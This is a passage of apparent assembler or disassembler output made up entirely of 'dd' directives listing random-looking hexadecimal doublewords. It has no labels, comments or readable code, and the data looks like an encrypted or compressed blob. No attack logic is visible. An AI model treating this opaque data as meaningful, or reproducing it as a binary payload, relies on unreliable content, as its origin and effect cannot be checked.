61868418h dd 0DFEC1C01h, 60581110h, 2AA59D08h, 7720E817h, 0EBF276h dd 0B3BA5B0Bh, 0AA32F49h, 16550F5Dh, 855F89F7h, 61182650h dd 0A2BA1C5Eh, 8B1752E4h, 5E0E5ACFh, 0B0791BE3h, 947D7DEh dd 0DB0B6D1Ch, 529B4084h, 0BD832F40h, 0B717F39Ch, 7FCBAC7Ch dd 2060634Dh, 1171DCh, 0F641CF7h, 91E9FFB7h, 0F4FADEB5h dd 2414FD58h, 0D97760Ah, 5C1BF224h, 1DA284EDh, 550EC800h dd 5263DE41h, 448C5401h, 4CE9E728h, 0DE578BA6h, 703C8452h dd 7666FEB5h, 0AD001A46h, 41C2D223h, 661CEF8Dh, 483B64BFh dd 960C70Eh, 0FB85F67Fh, 2D058F83h, 2FBA610Dh, 17C4F065h dd 22FA6060h, 0B120974Fh, 5B35CFh, 0A8556FBCh, 0EAEC6D80h dd 44828C16h, 368134C5h, 116D262Dh, 9065219Eh, 0AD008BA2h dd 33BCDFE0h, 0CB00D455h, 0A3C25428h, 59CDD2Fh, 50069375h dd 952FC190h, 1CE90024h, 0C4AFA704h, 15086016h, 2D52B8B2h dd 272A0C0Dh, 0F2DF01A5h, 6670E6D6h, 5954F013h, 0BFDB1C10h dd 36FBC28Bh, 269771E4h, 41851511h, 0C2378490h, 8E2918C3h dd 79509166h, 25075B7Dh, 0FCF6BE0Bh, 0A3993EB0h, 1D424C02h dd 7953CAC7h, 8B5F948Ah, 86B44809h, 0CC062885h, 1F41310Fh dd 13DD1C61h, 34E4AA15h, 2F4007ABh, 604DED30h, 88A506F7h dd 5BCD8512h, 56AE2D30h, 0BD709Fh, 0F8C2D319h, 136C6E34h dd 8B61990Ah, 4674F3C3h, 13E001Bh, 0C5722948h, 0F8A55088h dd 450A4B59h, 0B6319521h, 4C6A4E87h, 56BFCE00h, 581BE83Eh dd 0B12F92Dh, 0EED5581h, 60960362h, 264D16E7h, 16C30D68h dd 0ADADD3FBh, 0A28556ACh, 0B167E6AAh, 0BE30958Bh, 35FE4EBFh dd 0FEB6BF22h, 327174B2h, 89C0BBACh, 911AAD9Dh, 8D2904AFh dd 4445B109h, 0C04C9BB0h, 0DFB5917Dh, 94AC90F9h, 4A1CDC5Eh dd 0CF40878Fh, 0C06E8093h, 88DDB65Ah, 9C7C01F0h, 0D8DBE0D7h dd 0D3041268h, 60E3FEEDh, 2FFECD96h, 0D8380E21h, 74F41B5h dd 0CD825627h, 854B4E1Dh, 6019C4F2h, 12100B82h, 57FFA27Dh dd 2A6E48h, 187D96C7h, 149DE8A0h, 0EC298EF6h, 511FE910h dd 0C0CE5B4Dh, 74C8ED8Dh, 0D5C50B51h, 0CD7D58E7h, 0DA4B6264h dd 1245CBDAh, 0C05A301h, 0ABA5A16Ch, 52F0B0A3h, 6016656Bh dd 9AC561FCh, 0D6DB94A4h dd 0FA630B29h, 0C1C06E62h, 0D1820141h, 2363650h, 7370B5BBh dd 5755058Ch, 9979CEBEh, 0C1691AA3h, 60F1BB55h, 4FE18130h dd 19A24423h, 18610B0Ah, 846ACEh, 0ADB3DE91h, 0F5555A46h dd 80012374h, 0DAA6F02Fh, 1D365BE4h, 0D482D3F2h, 2B071979h dd 0CEC0019Bh, 6D6D3B8Dh, 78A62188h, 2D2E4508h, 0CB8A2057h dd 1D2F4E2h, 6F46289Dh, 503CB33Fh, 89952910h, 0EE522F5Ah dd 6BF9AA0Bh, 0E5BDF80Dh, 0D9208430h, 252DF617h, 4A377C91h dd 1DAC4707h, 0A216C3E9h, 0E3020B06h, 87D8152Bh, 0D6AD76B5h dd 31476405h, 0A80B699Dh, 9A466706h, 0C053372Dh, 0C5AAE870h dd 0B3B0B2AEh, 0B5330961h, 6C5562BDh, 8A60011Eh, 258D31E7h dd 3623250Bh, 2055590Ch, 0BE905A26h, 7600E76Bh, 0FD3B10F9h dd 660B943Dh, 31E5E6BEh, 2120F839h, 3BE42FE7h, 80093555h dd 0DA7DB862h, 0A09BF09h, 1D251CD0h, 961811DBh, 0AA2596AEh dd 9CB97E26h, 260A9108h, 51B800BEh, 2EF811Ah, 1166620Eh dd 0EDE0E060h, 0FA1CB0E2h, 3DD405D3h, 0C06102F5h, 524940Bh dd 3DDD7D48h, 0D301C15Dh, 3C81772Fh, 48308FDEh, 780B3835h dd 1269C04h, 545875B5h, 0E11C7E77h, 26F611Ch, 31DD96Eh dd 0FA02D580h, 7E6D089Ch, 0E131ED61h, 69AACCA1h, 3DBD8225h dd 0E9F5012Bh, 503E6C66h, 0D0D2F0C6h, 168D0416h, 4DC0B91Ah dd 55C02F10h, 0BFF356C3h, 7667D97Dh, 3E5E1D6Ch, 119238Fh dd 593E299Ch, 0E75334CAh, 372DDF25h, 74901EBh, 6C5FFC50h dd 9ABAD62Eh, 57D5C090h, 0B490FF3Eh, 7B4403Ah, 4B7DC964h dd 161D8B00h, 94D460E5h, 0B78203B1h, 50AE4D6Eh, 78E0B9D2h dd 0B50B4F9Eh, 7790613Eh, 86413EDh, 3121F081h, 0F188C304h dd 6F54A35h, 0EC80ACDBh, 3B30CD79h, 5DB0DD0Ah, 0F4049756h dd 0A08017FFh, 5B6D7C72h, 9B2D161Eh, 66F4817Bh, 123A50CFh dd 23F53A4Eh, 92AB001Ch, 0AFA07593h, 0BB81C114h, 8C14E87Ah dd 9DF5792Dh, 801B9100h, 0FCCD0D16h, 0DA5416E0h, 2DF88D5Ah dd 291B893h, 8589C76Eh, 1CD920C1h, 465C9868h, 4F39001Bh dd 0A75DF367h, 0DF6B779h, 60D78160h, 0DCA09A3h, 0DA5BD3FFh dd 0BF37170h, 893B3FA7h, 0B20F4105h, 0CE9AD219h, 0BB4D4F85h dd 0C4D469A5h, 71B813B6h, 0D16F0415h, 855F0B11h, 53C80D6Bh dd 2C085B41h, 6592FE0Fh, 0CBE03BADh, 5ACA562h, 0CDD457FBh dd 6CB4EB5Dh, 0A33D00F2h, 0A850FFD0h, 0D60B90B5h, 677463E8h dd 43E9144h, 0C719D8Bh, 543C8613h, 0FED0C9D6h, 2A5C15h dd 0BB32D416h, 0FC0C9604h, 0FE9AB10Bh, 93306C72h, 8A9F7890h dd 5056BB0h, 6D8D291Dh, 5192DB56h, 0EB7932A7h, 0BAA9C100h dd 4C31C9h, 8B151308h, 0BD830DA2h, 17FDB917h, 8B58D8AEh dd 8FE9F217h, 1723953Fh, 0A6648E01h, 342DE886h, 990EE03h dd 55901F25h, 0BD250357h, 5E0A8091h, 3CF815Fh, 5B76132h dd 9C5A85C7h, 0A0865434h, 0E436B98h, 0C037CD5Dh, 43B1B73Bh dd 77BC0304h, 5FA88910h, 9650ED80h, 160572C0h, 0A62D65ECh dd 80084527h, 929ECE81h, 0FD9014D7h, 4BDB0EA2h, 95337C07h dd 63D5B930h, 0FF860B13h, 2B87EA76h, 68F50D1Dh, 48A1D247h dd 0AE510E2h, 9755B29Fh, 801A1187h, 9DE545EBh, 0F64C5D1h dd 1091A383h, 810F1CDDh, 310580C7h, 344FB21Dh, 3FB62B5Ch dd 21348BE1h, 0C1CB2823h, 10ADB589h, 1900C97h, 50796CFFh dd 5F592453h, 39A97AF7h, 280357ACh, 68D09620h, 738AA0DAh dd 3F42FE9h, 0C751857h, 0E6FE09A6h, 2803B017h, 70BAF0BFh dd 9270D573h, 0B680020Bh, 0E676532Ch, 962738F8h, 0E883C3C2h dd 9BFF8D8h, 5037D3CDh, 0B086FE4h, 4B03F1B5h, 60EB6D7Dh dd 3C903B05h, 0CB48326h, 0E227B109h, 0DC8A568Eh, 5BF86EE5h dd 0FE88Ah, 9C5DC6B9h, 0C70064F5h, 701A386Bh, 2C8BE49h dd 11B0416Fh, 0D956EBA0h, 0ACC55E13h, 9D313760h, 53074F09h dd 0D50C048Dh, 5093001Bh, 0A20E8F0Fh, 9F1B003Ch, 0E8D50D2Eh dd 61600922h, 4737935Fh, 44345B89h, 0A7BE0004h, 8CCD1DC0h dd 0AF0092EFh, 0D7A9D423h, 16B357B0h, 0DD442F54h, 0B0352601h dd 0FF0C472h, 0AA66A965h, 39046D29h, 5B00E3F9h, 7607A66Eh dd 0FE41CCC6h, 41F7BA87h, 0C2B0FC13h, 1670115Bh, 0A1891252h dd 0E6871267h, 0B4C8E022h, 0E0AA0549h, 0E2877672h, 69730063h dd 922452D3h, 0EEEA0106h, 82A80738h, 20952148h, 2F41C146h dd 162D3769h, 0CDB71442h, 2B27C680h, 136E8B3h, 0F1BFDEB5h dd 6A2458AFh, 0BC7A1E2Dh, 30FFC73h, 0B9D9BD2Eh, 1B0012E8h dd 0A9ECDA1Eh, 0F9A27Fh, 8B3862A4h, 0D43EAA47h, 4AAB5A12h dd 0DDEF8A56h, 0C38E6011h, 0A2248998h, 15A6E2A3h, 2D23ED08h dd 0BE3098F5h, 0B3424913h, 5858905h, 563AB318h, 8081B528h dd 0C5417D02h, 47D0639h, 2512E110h, 56B758h, 0EC430C2Bh dd 6B019560h, 8D0175B6h, 0D7880D59h, 249058Bh, 0DA25C99Eh dd 2A15455Ah, 9F2D396Eh, 1CC17092h, 48526CF3h, 0B50DC003h dd 0B23363h, 0E6E5847Eh, 0A1FDD74Ch, 9E0B937Ah, 690183F7h dd 5450CE6Ah, 0B6E174E6h, 0B8E4276Ch, 441FB00h, 0ECF0D5B4h dd 628F3C7Fh, 77915EADh, 0CCFC1289h, 3D9B928Bh, 612F3160h dd 8D24840Fh, 0E82DB125h, 805E0F5Bh, 266D8D31h, 60C32B01h dd 0A4175ABh, 518B0F69h, 602DE0BFh, 17560E04h, 42419589h dd 870F5E16h, 0F5502583h, 2E3FE9C9h, 0A7090F7Bh, 40EDC08Bh dd 0B7E1FEC0h, 0AA712D07h, 8915DA8h, 60020F09h, 0AB89BD23h dd 0C6C45FB6h, 52BCD58h, 61B578ABh, 20ADF3C4h, 2DC53903h dd 0C9D50F1Dh, 9B622FE8h, 0BA5A1388h, 0D664353Ch, 76A6F25h dd 5CE7FB9Ch, 22E1A310h, 2B072E6Ch, 981F12DBh, 34F0B336h dd 6704EA00h, 2AC73D6Eh, 198040EFh, 57681E45h, 0E1C9EBD6h dd 0C201893Ch, 68B4794Dh, 0C5BC7A61h, 45164B94h, 6A6CDD09h dd 9F00826Eh, 82283978h, 2D01A3C8h, 4245DF81h, 8B6D66F2h dd 4030A1C4h, 2449B860h, 971050Bh, 0AD34798Dh, 0C03D3D26h dd 0F6810252h, 40E367FFh, 7218A40h, 0ED61FBC9h, 0C91CC183h dd 28F33873h, 0E9644C17h, 60BDF973h, 0DF0279B8h, 4D96D75Fh dd 0B0ED4C66h, 0D71208Bh, 30CE8102h, 7E7591B9h, 50101095h dd 0AFB739C6h, 0D558D55h, 7212FE80h, 0BF666D96h, 7FDEF22Dh dd 0AFBECA90h, 6F41C612h, 0BBE085E6h, 880576EDh, 0FE855B3Ch dd 828A50B1h, 448E1D51h, 0ACD65BC1h, 28D699CCh, 0EF71512h dd 2D68E889h, 0D2C42073h, 670034CFh, 5D655C1Eh, 24ADF9h dd 41107FE7h, 4605CAD3h, 5840E294h, 4CE2DB14h, 0DD0E3DE4h dd 0DB33FFF7h, 0F40680E4h, 9CC18B96h, 2AA238EBh, 7E31044h dd 24E6CDFFh, 444EA026h, 8D3B6692h, 659A0BCEh, 17A26661h dd 8501B529h, 0E163E640h, 7F6D21F3h, 0A00CB6D7h, 2B0BA86h dd 87506430h, 0E6D17EBEh, 1AC0B5A7h, 3E82382Fh, 4C862B01h dd 0A71EAAF5h, 856D1809h, 0FE085038h, 8A60850Ah, 6175D8CAh dd 0D1B388D2h, 66301CA2h, 963801A7h, 163B9318h, 0EF2F207Bh dd 6A7EE517h, 87B4DBBEh, 0C7D070B3h, 0C546ABE2h, 0B7FA8B9Dh dd 0C06A4B14h, 0BC74A500h, 0CCC7AFF6h, 462D8B97h, 0B7C9615h dd 2CA3D3FFh, 0A3C58FD7h, 22E44CC9h, 0A9B913h, 56C58865h dd 0A4004304h, 5CFA729Ch, 90F9DB61h, 0BE2B1CAh, 0B34702E9h dd 4FDBB114h, 32C0129Bh, 187B9AEh, 9E3CF75Ah, 5B208A28h dd 65E858B4h, 4A031100h dd 29AA1887h, 7B8B398Ch, 56C59D13h, 80F39B72h, 0D494C997h dd 6B8E1368h, 57830551h, 79BCA3B3h, 0AE469409h, 0D98EB36Dh dd 74EDBBF1h, 8A71A569h, 8D5FE40h, 6127D4B9h, 18E55BFCh dd 949E3608h, 1D467Ch, 93F4A973h, 15E94597h, 0E1079BBFh dd 4F4A0222h, 0B415F2CDh, 430B5784h, 5EDA4601h, 397AFF38h dd 0B0090613h, 204CB9F6h, 12FD1567h, 0BD229C39h, 6B4ACDDCh dd 56BFE022h, 0CB19DC71h, 0EE7E0C3Ch, 8E688ECDh, 0F91FCD8h dd 46D488B4h, 0F510B14h, 3C8A188Dh, 569C3AEDh, 0EAF69185h dd 2580A258h, 608C4F75h, 0F44F30E1h, 3DB7A920h, 304A9BCFh dd 1EB3BEFCh, 8B7F1507h, 0E91550F1h, 9B535700h, 0EC904Bh dd 0D0D9A21Fh, 0F18DDB95h, 86778200h, 2148896Bh, 0A731E95Eh dd 1AF03636h, 8D222923h, 35E927CDh, 17C41EE7h, 76F8E763h dd 0BE0B6641h, 77B0360Fh, 6FC0636Dh, 48B7A50Fh, 0C000E3EBh dd 8970E6DCh, 9BB4D19Dh, 3771E409h, 0BC498434h, 5D2981F5h dd 116A3F2Eh, 29131423h, 1B951204h, 0BDC260EDh, 0C42E1235h dd 66EC0D9Dh, 0A429F787h, 0FDD3D5F1h, 166DEC35h, 0FA466F97h dd 4F8B7988h, 0A60F13F9h, 0C167E0D6h, 64360089h, 0DAB8F90Eh dd 0D85E2BC6h, 3F26BFFh, 8532062Ah, 27ECBD6Fh, 6F241C13h dd 5BA600F2h, 0FC4A36F7h, 815F0E57h, 4E054DD6h, 0B2D8A62Dh dd 459D301Bh, 6D11A702h, 8229EAB3h, 0FC19B5DCh, 0C1B15318h dd 7213051Ch, 91A0DAB7h, 4E48E637h, 0B8CC5D67h, 54F90072h dd 3B6D29EDh, 0BD588978h, 16C4941Eh, 0AA92E47Fh, 0FAA2A46h dd 0B649C0E2h, 637853F3h, 77BA03D7h, 0B2D9A4AEh, 777106B2h dd 0DE1815F1h, 5A8BAD3Ah, 9202C86Eh, 0B7D7363Ah, 0B50BA648h dd 0F5850D5Fh, 0E06F8556h, 893B3C00h, 0EA9825F8h, 9DEE6075h dd 0D6C2494Fh, 2C56D061h, 64C20282h, 0B9AAC158h, 1CCA6923h dd 153880Fh, 57A075E7h, 3900CA8Fh, 294E586Ah, 8230C585h dd 1F034079h, 0F899945Ch, 0D4991h, 0BF8E97B6h, 9F69527h dd 7B95F17h, 0A28898EAh, 0A600C971h, 1A5711D1h, 810AB5h dd 32E9CEAEh, 0BE2B047Eh, 9F04BA5Ah, 57E38A0Fh, 0D1036516h dd 2A1FDD16h, 2BCA97CDh, 660087F9h, 999A8A77h, 0AF730307h dd 19D9DD1Ah, 9DB86CD3h, 8C4F0F23h, 1381B922h, 3449BDE8h dd 0BE966495h, 0F6041391h, 31A83428h, 7C04F76Fh, 82C75A48h dd 0C3E140C6h, 3EFF2591h, 6C832E2Ah, 0F91555Bh, 1FD9728Eh dd 0CD672BF8h, 6377C0A4h, 1EB8C1F5h, 26C5FB9Eh, 9DB8A037h dd 2D78060h, 617BEA40h, 0E90A3AB6h, 3104103Dh, 6AD0B19Dh dd 0A161D58Ah, 497F3580h, 6B7BC054h, 17F470h, 4BAE749Fh dd 0FB8B8545h, 0F92599B0h, 0BE445930h, 25C7F31Fh, 0F49FA569h dd 379F3B2Dh, 9A5200D3h, 8BB86660h, 0E9814201h, 75E85FD9h dd 0F8C0D889h, 30EA0FFBh, 55AC0192h, 0CE6F9AB4h, 0BB05737Fh dd 0A3A638D4h, 98331CB2h, 5607F77h, 7D2C482Eh, 814F98A6h dd 0F92DEE14h, 92902ECEh, 0ED9F00DEh, 1A56BF12h, 60487458h dd 9F1D22FDh, 489E8390h, 0BA4ABC00h, 0A924BF6Ch, 33B10087h dd 58D444B8h, 81028F08h, 65255FDFh, 33DBDC5Bh, 54848D4Eh dd 828A70FAh, 404E13Ah, 85B6C161h, 0BBC1142Bh, 0A9721331h dd 9112110h, 0F3F2BF0Fh, 5FF073C8h, 0C44E84Ah, 67A40E1Ch dd 0BA6060CEh, 1D5FA5E7h, 91708266h, 12EA9899h, 0E41E2DB5h dd 99BE996Ah, 65E58596h, 0A331CA9Bh, 44F8F625h, 0B02C0015h dd 0EC9401D2h, 0C40BCEE3h, 0DFA72D4Ch, 5F5BD0C4h, 6A3E2F6Eh dd 89CC0E02h, 0B7822A6Bh, 92D0FEE9h, 0BB566000h, 264BE533h dd 1FB94B5Ah, 8D2183AFh, 0AF021C69h, 0E718F281h, 0F2FC660h dd 0FA897D61h, 25C03ECEh, 60B28027h, 8B175AF8h, 3A5FE58Dh dd 20AD4CB1h, 82ECDE2Ah, 0E1E5F38Fh, 0F5302A5Fh, 0A062DADEh dd 6660C04Fh, 2483C62Fh, 20F401E1h, 0D21FA11Fh, 0B75A60A0h dd 23002C37h, 0BF1E8898h, 9EC49766h, 42CBE600h, 31DEDFF2h dd 0D2B4007Bh, 1A2B305Dh, 0F3158021h, 224B5E26h, 5A109D12h dd 3C008254h, 64D95E15h, 5CA476Bh, 61164BE1h, 6FE13560h dd 0C5027117h, 5A14893Fh, 6998606Bh, 57E1A228h, 0DEAC04AAh dd 4F56DE16h, 1AC5F2B1h, 91CB7417h, 3F17D910h, 0D405EE7Ah dd 0C2CB2B9Fh, 51C41984h, 0FBF75A8Ah, 84EE5859h, 1080D501h dd 1B8D858Bh, 0E0D75B42h, 8233A976h, 0C9F9D71Ah, 85DF193h dd 36C46FAAh, 8770BB9h, 0B807E0A0h, 7076FD9Ch, 86FBDEFh dd 826AEBA5h, 9AE38E0Ah, 1E312508h, 6D5B0381h, 184E0CE0h dd 0A9C8BB56h, 8E7707h, 39D52F4Bh, 910E2CA3h, 936BA000h dd 647E7BCh, 0DFDAC675h, 2E82B25Bh, 0F707673h, 90E11EC1h dd 0A6642722h, 9B592100h, 69DFF329h, 14F13F87h, 968049DCh dd 0D96E8B71h, 76E49414h, 5E2EC990h, 9206F665h, 0EE7E3C7Dh dd 0BFE45F1Ah, 0F6BFF920h, 531FE476h, 0FC299C8Bh, 49BDC1E9h dd 0D41E041Fh, 25559D1Ch, 0C0F5CACFh, 0CD1B4A25h, 119CE255h dd 9D4045Dh, 82C4521Ah, 0DD227998h, 53358A03h, 9A737092h dd 19E10812h, 12A14C04h, 0AB7C2672h, 495600F6h, 531E5494h dd 0C11A5B48h, 9B6E38Ah, 0C02AED67h, 47B11364h, 18D3112h dd 0E3227BE1h, 10F480C2h, 0D65FD588h, 6AD60200h, 0B7DBA78Fh dd 0EA5048D1h, 0EE7AD54Ah, 233E69B2h, 122B0910h, 229D85C7h dd 69B8D879h, 934B8C00h, 4526539Ch, 95399072h, 0E58AA5C8h dd 0BDB6614Bh, 0B0E3FAE5h, 72080675h, 606107EBh, 0F27B3EE1h dd 0B27A502h, 8D48598Dh, 75279D01h, 1EC1BD15h, 0BF41C013h dd 0A46A3D63h, 20FC8958h, 0C18B0316h, 1C8F4FEBh, 8ABD200h dd 0ACDAC6A1h, 38D4F4A4h, 0E4B85CD2h, 3134CE03h, 27A81BF5h dd 0D17929B3h, 0C7DD5B03h, 0E717E62Ah, 67A1DFE7h, 9FC2A6DBh dd 0B4870001h, 202352DDh, 449ED938h, 129727E9h, 0D4FE64CCh dd 0D7F7A01h, 65B5291Ch, 5A2F0E3Ch, 46BC395Fh, 0DE8D35A6h dd 0F663621Fh, 0C80A6BEEh, 1C284BB8h, 13FB0844h, 2725330Ch dd 0C19D12D0h, 7AF577CAh, 25897B20h, 0FF9A24C5h, 8A60AA6Dh dd 0B8EB2073h, 15C22D76h, 4399BEFFh, 0BD02213h, 0A5269D8Dh dd 1193ED7Fh, 111A4211h, 608BA473h, 19D80D0h, 61557F36h dd 1B7C23Bh, 3EF47FDCh, 0C783DA95h, 36FF5256h, 0AD5CBC50h dd 85D41941h, 18162554h, 1040467Ah, 66500790h, 6064F2BAh dd 0EE96051h, 0E0D75BCEh, 3268F8D6h, 92AD01E7h, 0F20BD415h dd 0A6C32E2Eh, 1158225Ah, 44DFD2C1h, 28050D0h, 0F595752h dd 0EAA15331h, 4C68B58h, 2AEDF724h, 795C7260h, 387604DDh dd 0FC2C08FFh, 30407963h, 0F2810053h, 4BAA3A97h, 47CF8B59h dd 0B3E98060h, 951FB5C0h, 610D9EC6h, 0C03C8589h, 0DF00476h dd 0E10623EAh, 0C593BF66h, 0F081677h, 0F6238484h, 958B0459h dd 0B6060D1Dh, 5043825Eh, 16B88148h, 0DE2F3A8Ch, 0D2446C8h dd 44D3C5E3h, 17206939h, 23588CBFh, 0F8BABDFAh, 21D0E84Bh dd 3D9AA7D2h, 0A45C60D4h, 0F97D9180h, 7E72178Dh, 5916790Ah dd 6607F258h, 0F4CAF4B8h, 0C15927h, 36CC6D60h, 0A009B941h dd 55991C3h, 6B826101h, 8ACE90FEh, 0F680F1D7h, 8860BA56h dd 5F712B87h, 933F0691h, 643058D6h, 12A8B9F9h, 554254h dd 9988E139h, 6A98FF5Fh, 84B6849Ah, 0AF8C09DCh, 0C70210BDh dd 44720755h, 9D1BE212h, 78FE7503h, 0CFA7DF17h, 49409850h dd 4B337D60h, 8C3013B5h dd 0FF316124h, 4F54ED0h, 0D242CE39h, 2D106E48h, 0EB21305h dd 660BC348h, 37BD469Fh, 8BC80D1h, 5A1F5463h, 5601840Ch dd 0ECC2CEF5h, 0AC0493A7h, 111908F2h, 0C00E680Fh, 0B966CA6Fh dd 81FC0039h, 30EC2434h, 0E09D4060h, 810AA9A5h, 72BC5961h dd 0B65500BCh, 0BEB907AFh, 0EDF71538h, 8A98A13Ah, 8B5142D9h dd 0B8772D92h, 0EEC40160h, 0BA4BEBB2h, 39B72062h, 0A410B2A2h dd 0ACA1FB8Bh, 0A419FA21h, 8BF86010h, 15B18D1Ah, 568B31CDh dd 4071A030h, 4002682Bh, 8B85BF10h, 7989A0CFh, 0CD51A07Dh dd 4A37A944h, 0EAB64A43h, 0DD752EA0h, 7A31A01h, 0FDA90AEDh dd 1C0BAA96h, 64AB3491h, 6FA116A6h, 0EE5FCCh, 0FAE707Bh dd 175AADEAh, 4410330Bh, 809E8826h, 0C8684EEDh, 0B90A5181h dd 9B022A90h, 24CC6CC4h, 5700083h, 0B56050DBh, 0FB916180h dd 0FCC18E27h, 4457AF3Eh, 54D01CCEh, 0C3807D0Ah, 525E59D1h dd 5A285B51h, 3A906561h, 0B47810BDh, 35BF0003h, 0C6C11A4Bh dd 0FD0C2015h, 0D48FFB44h, 0D48A2631h, 92D6383Dh, 365992F0h dd 0F31C3400h, 0EA7025E0h, 0FEC00BBAh, 0CCF750B7h, 0FC54BF60h dd 71BD3340h, 2D56BF03h, 0A23E18CAh, 0B6D04A16h, 0F5A3E086h dd 0EA550A01h, 16D53DB1h, 30235340h, 9D1F4DE1h, 116E9300h dd 0F0106856h, 0BDBB12D1h, 5C8C0204h, 5E121816h, 5C899F50h dd 95D9278Dh, 1E291B16h, 0D70C60D2h, 0FFBB149Ah, 0E9C1FB71h dd 3B8C1529h, 756B78Ch, 9ACA262Eh, 70A75159h, 3108DC7Ch dd 8F017D79h, 48635C1Ch, 1461F88Bh, 5568A361h, 16FD2A80h dd 0CA004B85h, 84546A8Dh, 3987F8CBh, 0EB1625D6h, 3C55304Fh dd 36070766h, 0E97CE55Ah, 58599503h, 0BD60856h, 5C1D0EEh dd 0C24C21F7h, 40070B79h, 21F06897h, 9104C7B7h, 0FCB90010h dd 581762DFh, 41D379Fh, 0C11DA68Dh, 0E4F8B7CEh, 952A31E2h dd 1EAAB671h, 16F11F79h, 0A6BAE819h, 9A2D3693h, 95476872h dd 523042F9h, 2F092601h, 617D341Ah, 3D398DBBh, 7B88681Eh dd 0D1A60BBDh, 0D7FDBC7Eh, 0E41AA612h, 5A5F47BFh, 2A98698Ch dd 400757C7h, 0BD09701Bh, 610017B4h, 0C46A6D68h, 9B7598B7h dd 4831008Dh, 4FA3A2F9h, 0EA1D2DA1h, 794063C3h, 592FC228h dd 24040081h, 463C9593h, 66B58F0Fh, 0C0D36B78h, 95ECE0D5h dd 0BFF79815h, 4ADC34DEh, 809F60D2h, 683AB082h, 0F7B200BAh dd 50423107h, 2C5CBF35h, 7AF28041h, 4C224528h, 711D380h dd 449AF09Ch, 5CE51219h, 0C506DC82h, 0C448B614h, 1AD54B60h dd 37B74C0Dh, 37996A81h, 0C971EFBFh, 3B9168F8h, 0B61567AFh dd 6F02BD4Eh, 0E9579950h, 22E75F80h, 0F93F2342h, 46BA02BBh dd 581D2F8Ch, 76B1090Dh, 5A760B6Ah, 0C06B5CDCh, 32B00522h dd 0E642E912h, 8215A2F0h, 50198F85h, 5D2EBAA8h, 339096CEh dd 0A3F8C62Bh, 6F30437Dh, 4912CED2h, 0C6995188h, 43316831h dd 263104A6h, 0AC08352Fh, 194B80ECh, 3034FE84h, 662042C4h dd 0E1A45B8h, 0FC769061h, 2D3BA841h, 4E3D010Dh, 6BDB0B02h dd 8D63484Ch, 0DF2360B5h, 0A545EBBAh, 0B4D796EEh, 0C05AC6F2h dd 5961AACDh, 0C1C05B02h, 0F73497ACh, 0BB170259h, 166BDF01h dd 0D92D9661h, 8600BAB8h, 83258570h, 9C2F926Fh, 0AFB30012h dd 364DB950h, 0C794FB5Ah, 5EC0269Bh, 0BFAB359Fh, 0EB902D78h dd 2B5ACE02h, 900FB9BDh, 0BE0BCDB2h, 0B624F4DCh, 84160F66h dd 91B2F621h, 809FB17Ch, 0C12607D6h, 0A00965Ah, 9820CA24h dd 176F7E1Fh, 0BFC00B5Fh, 9CF968C8h, 0C7E96243h, 0D1BF1D48h dd 7F7D5117h, 0A79B0C17h, 0D2C80B80h, 1009D709h, 90B58B29h dd 2BDB92Bh, 8D6EB0E4h, 3612046h, 424F2A1h, 282F6EBAh dd 0D62CBA78h, 560A150h, 0A2D3E95h, 88256831h, 885327F0h dd 5F41BE78h, 9624BAF1h, 5C25E813h, 0E6011A6Fh, 4FD94B22h dd 0F15A8807h, 22D4221Ch, 9173A84h, 91B44595h, 878B09BAh dd 66A9F0E9h, 0B27096DBh, 0A4EE00DEh, 0E6C86F19h, 8100FD89h dd 4AACFFD1h, 707E805Ch, 0BB88CD20h, 58DB2B6Ah, 8D89BFC2h dd 602924D5h, 8EB884ADh, 53092F4Fh, 0A9FA62B9h, 0DCEED41Fh dd 0EC2227BDh, 0E60A88F0h, 0E24490FBh, 31898102h, 133D79D5h dd 0CEDE4885h, 7866BC0h, 224AE916h, 0B9666E07h, 0F6401362h dd 89C00539h, 87C8F8EFh, 2E807815h, 9F05DDh, 92163012h dd 0C2979A10h, 0A013147Bh, 220861DFh, 0E3ED800Bh, 7F8777D9h dd 8D6F001h, 810FC9CDh, 0A0A0917h, 8CCD2F81h, 26B26BC0h dd 95290846h, 1A2F2391h, 60A7503Ch, 1DD1406Ah, 0C1B70994h dd 6610FAECh, 405876BFh, 5DBBC0C3h, 48B787FFh, 0BBA5A8DDh dd 7825AF6Ah, 0B13A7ECh, 50E4F5B5h, 0BEE90380h, 0F960D88Bh dd 0D382B4C5h, 0DBBF0F1Eh, 7D79C26Dh, 1B7C5F8Bh, 2ADCBDF4h dd 0D2F98B49h, 17E91657h, 0E89AE905h, 61AB0007h, 0D0F86E08h dd 384B80BAh, 50D99909h, 0E3ADADC3h, 0B89CAD1Eh, 0D4BA87B3h dd 480EB211h, 48F8A758h, 4BDF853Bh, 71987082h, 0AF6522D7h dd 0A2095C94h, 0F601FE62h, 560CB001h, 0F2713F3Dh, 0EA2F5699h dd 0F1172EB3h, 8805156Eh, 0E81E4Ah, 3C7ABB75h, 510049ADh dd 433527C0h, 13FA94E7h, 81B18531h, 6F405A38h, 3C00686Eh dd 902A2E92h, 5F012F75h, 0B5316BA7h, 83000191h, 7E9C50BDh dd 0ECF58443h, 0C8D7EADEh, 0B91E6AD9h, 0E4677C7Bh, 3F140439h dd 0E319E20Eh, 0A6ECD6C8h, 9534B580h, 19058CD7h, 903B86C7h dd 39C33D80h, 6E3FED50h, 0B37600DDh, 0A0857D45h, 80D4B15Fh dd 92A877E4h, 0D12DB342h, 0FCCB0234h, 1765531h, 159D0141h dd 0E20305FEh, 0B7FA5057h, 5B51F613h, 0DDAC8913h, 0DB4A3949h dd 0A6D28544h, 52C9DDC2h, 0DB044F89h, 0EC32814Dh, 60DA20C1h dd 5F5FCE32h, 0CD33BE50h, 0F3AB4FCFh, 9385494Ch, 4F27BA6Fh dd 636324E2h, 795809F4h, 5760038Ah, 49D04BE3h, 2800A7D6h dd 4704CAD0h, 12E50B9Dh, 439FE03h, 90FFD82h, 0DD8E925Fh dd 80D4208Bh, 0EE4D50DEh, 0AE3A05DAh, 0BD028FE9h, 121E8B1h dd 8902519Bh, 7E26959Dh, 0AF4CBBB9h, 187FE0Fh, 17A4218Bh dd 0C7AA9B58h, 0DA006866h, 1325843Eh, 0E23F282Ch, 0AD0F0092h dd 238B746Ah, 60250410h, 0B236E314h, 51AE00E2h, 70C773BFh dd 0B077005Ch, 2D798CB7h, 594A0172h, 0C9ED7C81h, 0E360425h dd 0F63480F0h, 4577D704h, 89844009h, 0F41EC6C2h, 1B28DC87h dd 0D16BD585h, 0DDA3EAF4h, 395A2D99h, 5AB96A3Ah, 19A502CBh dd 8D2B0212h, 89E1AFF5h, 0DCC776D8h, 90FC1030h, 122C3CE7h dd 27E9B258h, 0B9878849h, 32079548h, 0A34FD4EBh, 